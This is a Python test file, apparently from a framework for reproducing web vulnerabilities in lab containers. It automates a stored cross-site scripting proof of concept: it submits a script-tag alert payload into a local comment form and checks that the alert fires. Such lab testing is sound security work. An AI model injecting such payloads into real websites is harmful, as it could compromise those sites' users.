from data.exploits.base.BasicExploit import BasicExploit
from settings import mapped_port_host

class Exploit(BasicExploit):

	attributes = {
	  'Name' :		  'StoredXSSExploit',
	  'Description' : "Example of stored XSS injection in MongoDB + node.js",
	  'References' :  [["empty"]],
	  'Target' :	  "xssstored",
	  'Container': 'ubuntu-node-mongo',
	  'TargetLicense' : '',
	  'Plugin' : '',
	  'VulWikiPage' : "None",
	  'Type' : 'Stored XSS'
	}

	def runExploit(self):
		wrapper = self.wrapper
		wrapper.navigate("http://localhost:%s/comments.html" % mapped_port_host)
		wrapper.find("newComment").keys("<script>alert(\"XSS\")</script>")
		wrapper.find("submitBtn").click()
		alert_text = wrapper.handle_alert()
		self.assertIn("XSS", alert_text, "Exploit didn't work!")
